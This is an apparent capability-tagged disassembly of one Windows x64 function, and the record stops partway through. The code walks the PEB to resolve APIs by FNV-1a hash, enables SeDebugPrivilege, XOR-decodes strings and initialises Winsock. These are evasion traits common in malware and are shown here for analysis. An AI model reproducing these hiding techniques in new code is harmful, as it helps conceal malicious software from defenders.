Function at 0x140007060
Capabilities:
Access peb ldr_data
Acquire debug privileges
Delete file
Encode data using xor
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports
Set console window title

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x228]
sub rsp, 0x300
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
movaps xmmword [rax - 0xa8], xmm13
mov rax, qword [0x140278140]
xor rax, rsp
mov qword [rbp + 0x178], rax
xor r15d, r15d
xorps xmm0, xmm0
mov dword [rbp + 0x144], r15d
mov r13d, r15d
mov rax, qword [0x140278d08]
mov qword [rbp + 0x28], r15
movups xmmword [rbp + 0x148], xmm0
test rax, rax
jne 0x1400071a7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140007188
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140007188
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140007183
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140007160
cmp edx, 0x6dd8a845
je 0x140007830
test r8d, r8d
jne 0x140007140
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000719d
cmp qword [rax + 0x30], r13
jne 0x140007110
mov rax, r15
mov qword [0x140278d08], rax
call rax
mov rcx, rax
lea r8, [rbp + 0x28]
mov edx, Ordinal_41
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000745d
mov rax, qword [0x140278d00]
mov dword [rbp + 0x148], 1
mov dword [rbp + 0x154], 2
test rax, rax
jne 0x140007297
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140007278
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140007278
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140007273
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140007250
cmp edx, 0xf0abbe5e
je 0x14000784c
test r8d, r8d
jne 0x140007230
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000728d
cmp qword [rax + 0x30], r13
jne 0x140007200
mov rax, r15
mov qword [0x140278d00], rax
lea r8, [rbp + 0x14c]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call rax
test eax, eax
je 0x140007393
mov rax, qword [0x140278cf8]
test rax, rax
jne 0x140007377
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140007358
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140007358
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140007353
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140007330
cmp edx, 0x5b11ad63
je 0x140007868
test r8d, r8d
jne 0x140007310
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000736d
cmp qword [rax + 0x30], r13
jne 0x1400072e0
mov rax, r15
mov qword [0x140278cf8], rax
mov rcx, qword [rbp + 0x28]
lea r8, [rbp + 0x148]
mov qword [rsp + 0x28], r15
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x20], r15
call rax
mov rax, qword [0x140278d78]
test rax, rax
jne 0x140007457
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140007438
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140007438
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140007433
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140007410
cmp edx, 0xfaba0065
je 0x140007884
test r8d, r8d
jne 0x1400073f0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000744d
cmp qword [rax + 0x30], r13
jne 0x1400073c0
mov rax, r15
mov qword [0x140278d78], rax
mov rcx, qword [rbp + 0x28]
call rax
lea rcx, [rbp + 0x158]
call fcn.1400038b0
lea rcx, [rbp + 0x158]
call fcn.140003f90
test al, al
je 0x14000747e
call fcn.1400046b0
mov ecx, dword [0x140279088]
mov rax, qword gs:[0x58]
mov edx, 4
mov r14, qword [rax + rcx*8]
add r14, rdx
nop dword [rax]
mov eax, dword [r14]
cmp dword [0x140278c70], eax
jg 0x14000bf22
mov rax, qword [0x140278cf0]
test rax, rax
jne 0x140007577
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140007558
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140007558
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140007553
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140007530
cmp edx, 0x18017917
je 0x1400078a0
test r8d, r8d
jne 0x140007510
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000756d
cmp qword [rax + 0x30], r13
jne 0x1400074e0
mov rax, r15
mov qword [0x140278cf0], rax
call rax
sub rax, qword [0x140278c68]
cmp rax, 0x2710
jb 0x14000758d
call fcn.1400046b0
mov rax, qword [0x140278ce8]
test rax, rax
jne 0x140007657
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140007638
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140007638
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140007633
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140007610
cmp edx, 0x95466b05
je 0x1400078bc
test r8d, r8d
jne 0x1400075f0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000764d
cmp qword [rax + 0x30], r13
jne 0x1400075c0
mov rax, r15
mov qword [0x140278ce8], rax
mov ecx, reloc.WS2_32.dll_WSAStartup
call rax
test ax, ax
je 0x1400074a0
mov rax, qword [0x140278ce0]
test rax, rax
jne 0x140007727
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140007708
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140007708
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140007703
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1400076e0
cmp edx, 0x2becdc2f
je 0x1400078d8
test r8d, r8d
jne 0x1400076c0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000771d
cmp qword [rax + 0x30], r13
jne 0x140007690
mov rax, r15
mov qword [0x140278ce0], rax
call rax
mov rbx, qword [0x140278cd8]
test rbx, rbx
jne 0x1400077e7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1400077c8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1400077c8
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1400077c3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1400077a0
cmp edx, 0xfd13491c
je 0x1400078f4
test r8d, r8d
jne 0x140007780
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x1400077dd
cmp qword [rax + 0x30], r13
jne 0x140007750
mov rbx, r15
mov qword [0x140278cd8], rbx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
cmp byte [0x140079fc9], r13b
mov r8, rax
movzx ecx, word [0x140079fc8]
mov word [rsp + 0x38], cx
je 0x140007910
mov ecx, dword [str.qzx]
xor byte [rsp + 0x39], 0x33
mov dword [rsp + 0x30], ecx
movzx ecx, word [0x140079fc4]
mov word [rsp + 0x34], cx
mov byte [rsp + 0x38], WSAStartup
jmp 0x140007926
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r9
add rcx, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x1400071a0
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r9
add rcx, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x140007290
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r9
add rcx, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x140007370
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r9
add rcx, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x140007450
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x140007570
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x140007650
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x140007720
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov ebx, dword [rcx + rdx*4]
add rbx, r9
jmp 0x1400077e0
mov eax, dword [str.qzx]
mov dword [rsp + 0x30], eax
movzx eax, word [0x140079fc4]
mov word [rsp + 0x34], ax
movzx eax, byte [0x140079fc6]
lea rdx, [rsp + 0x38]
xor byte [rsp + 0x31], 0x33
lea rcx, [rsp + 0x30]
xor byte [rsp + 0x32], 0x34
xor al, 0x38
xor byte [rsp + 0x33], 0x35
xor byte [rsp + 0x34], 0x36
xor byte [rsp + 0x35], 0x37
mov byte [rsp + 0x36], al
mov byte [rsp + 0x30], 0x43
call rbx
mov rbx, qword [0x140278cd8]
test rbx, rbx
jne 0x140007a27
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140007a08
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140007a08
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140007a03
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1400079e0
cmp edx, 0xfd13491c
je 0x140007b82
test r8d, r8d
jne 0x1400079c0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x140007a1d
cmp qword [rax + 0x30], r13
jne 0x140007990
mov rbx, r15
mov qword [0x140278cd8], rbx
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
cmp byte [0x140079fd9], r13b
mov r10, rax
movzx ecx, word [0x140079fd8]
mov word [rsp + 0x38], cx
je 0x140007a54
xor byte [rsp + 0x39], 0x33
mov byte [rsp + 0x38], 0x77
cmp byte [reloc.WS2_32.dll_gethostname], r13b
lea r11, [rsp + 0x38]
mov rcx, qword [0x140079fd0]
movdqa xmm11, xmmword [0x14007a210]
movdqa xmm13, xmmword [0x14007a220]
movdqa xmm12, xmmword [0x14007a200]
movdqa xmm10, xmmword [0x14007a230]
movdqa xmm9, xmmword [0x14007a1a0]
movdqa xmm6, xmmword [0x14007a1b0]
mov r12d, dword [reloc.WS2_32.dll_accept]
mov qword [rsp + 0x30], rcx
je 0x140007bda
mov r8d, r15d
cmp r12d, 2
jl 0x140007b9e
movdqa xmm1, xmm9
movdqa xmm0, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm10
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, dword [rsp + 0x30]
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm13
xorps xmm1, xmm0
movdqa xmm0, xmm6
movd dword [rsp + 0x30], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm10
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, dword [rsp + 0x34]
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm13
xorps xmm1, xmm0
movd dword [rsp + 0x34], xmm1
jmp 0x140007bda
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov ebx, dword [rcx + rdx*4]
add rbx, r9
jmp 0x140007a20
lea r9, [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140007bb0
mov r8, r10
lea rcx, [rsp + 0x30]
mov rdx, r11
call rbx
mov rbx, qword [0x140278cd8]
test rbx, rbx
jne 0x140007ca7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140007c88
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140007c88
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140007c83
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140007c60
cmp edx, 0xfd13491c
je 0x140007dd1
test r8d, r8d
jne 0x140007c40
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x140007c9d
cmp qword [rax + 0x30], r13
jne 0x140007c10
mov rbx, r15
mov qword [0x140278cd8], rbx
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
cmp byte [0x140079fe9], r13b
mov r10, rax
movzx ecx, word [0x140079fe8]
mov word [rsp + 0x38], cx
je 0x140007cd4
xor byte [rsp + 0x39], 0x33
mov byte [rsp + 0x38], 0x77
cmp byte [reloc.WS2_32.dll_gethostname], r13b
lea r11, [rsp + 0x38]
mov rcx, qword [str.qzzcc]
mov qword [rsp + 0x30], rcx
je 0x140007e2a
mov r8d, r15d
cmp r12d, 2
jl 0x140007ded
movd eax, xmm13
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
movdqa xmm2, xmm9
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x30]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm6
xorps xmm2, xmm1
punpckhdq xmm0, xmm6
movd dword [rsp + 0x30], xmm2
movdqa xmm1, xmm6
pmuldq xmm0, xmm10
movdqa xmm2, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x34]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
jmp 0x140007e2a
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov ebx, dword [rcx + rdx*4]
add rbx, r9
jmp 0x140007ca0
lea r9, [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140007e00
mov r8, r10
lea rcx, [rsp + 0x30]
mov rdx, r11
call rbx
mov rax, qword [0x140278cd0]
test rax, rax
jne 0x140007ef7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140007ed8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140007ed8
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140007ed3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140007eb0
cmp edx, 0x2fa62ca8
je 0x1400083d1
test r8d, r8d
jne 0x140007e90
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x140007eed
cmp qword [rax + 0x30], r13
jne 0x140007e60
mov rax, r15
mov qword [0x140278cd0], rax
mov ecx, 0x64
call rax
mov edx, listen
lea rcx, [rbp + 8]
call fcn.1400061e0
cmp qword [rax + 0x18], 0xf
jbe 0x140007f16
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea rcx, [rbp + 8]
call fcn.140002da0
mov rax, qword [0x140278cc8]
test rax, rax
jne 0x140007fe7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140007fc8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140007fc8
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140007fc3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140007fa0
cmp edx, 0x98d87e10
je 0x1400083ed
test r8d, r8d
jne 0x140007f80
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x140007fdd
cmp qword [rax + 0x30], r13
jne 0x140007f50
mov rax, r15
mov qword [0x140278cc8], rax
call rax
mov rdx, qword [0x140278cd0]
mov r15, rax
test rdx, rdx
jne 0x1400080b6
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rsi, qword [rcx]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov ebx, dword [rcx + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140008098
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140008098
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140008093
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140008070
cmp edx, 0x2fa62ca8
je 0x140008409
test r8d, r8d
jne 0x140008050
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x1400080ad
cmp qword [rax + 0x30], r13
jne 0x140008020
xor edx, edx
mov qword [0x140278cd0], rdx
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call rdx
mov rax, qword [0x140278cc0]
test rax, rax
jne 0x140008186
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140008168
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140008168
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140008163
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140008140
cmp edx, 0x80b1f8e6
je 0x140008425
test r8d, r8d
jne 0x140008120
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000817d
cmp qword [rax + 0x30], r13
jne 0x1400080f0
xor eax, eax
mov qword [0x140278cc0], rax
mov rcx, r15
call rax
mov rax, qword [0x140278cb8]
test rax, rax
jne 0x140008256
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140008238
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140008238
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140008233
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140008210
cmp edx, 0xc399d265
je 0x140008441
test r8d, r8d
jne 0x1400081f0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000824d
cmp qword [rax + 0x30], r13
jne 0x1400081c0
xor eax, eax
mov qword [0x140278cb8], rax
mov rcx, r15
call rax
lea rcx, [0x140278950]
call fcn.14001d410
movdqa xmm7, xmmword [0x14007a1c0]
movabs r14, 0x7fffffffffffffff
movdqa xmm8, xmmword [0x14007a1d0]
mov r10, qword [0x140278cb0]
mov dword [rbp + 0x144], r13d
test r10, r10
jne 0x140008347
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140008328
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140008328
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140008323
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140008300
cmp edx, 0x491e0a9c
je 0x14000845d
test r8d, r8d
jne 0x1400082e0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000833d
cmp qword [rax + 0x30], r13
jne 0x1400082b0
xor r10d, r10d
mov qword [0x140278cb0], r10
cmp byte [0x140079fef], r13b
mov eax, dword [str.Q_G5aVXPUC]
mov dword [rbp - 0x30], eax
je 0x1400084aa
xor r8d, r8d
cmp r12d, 2
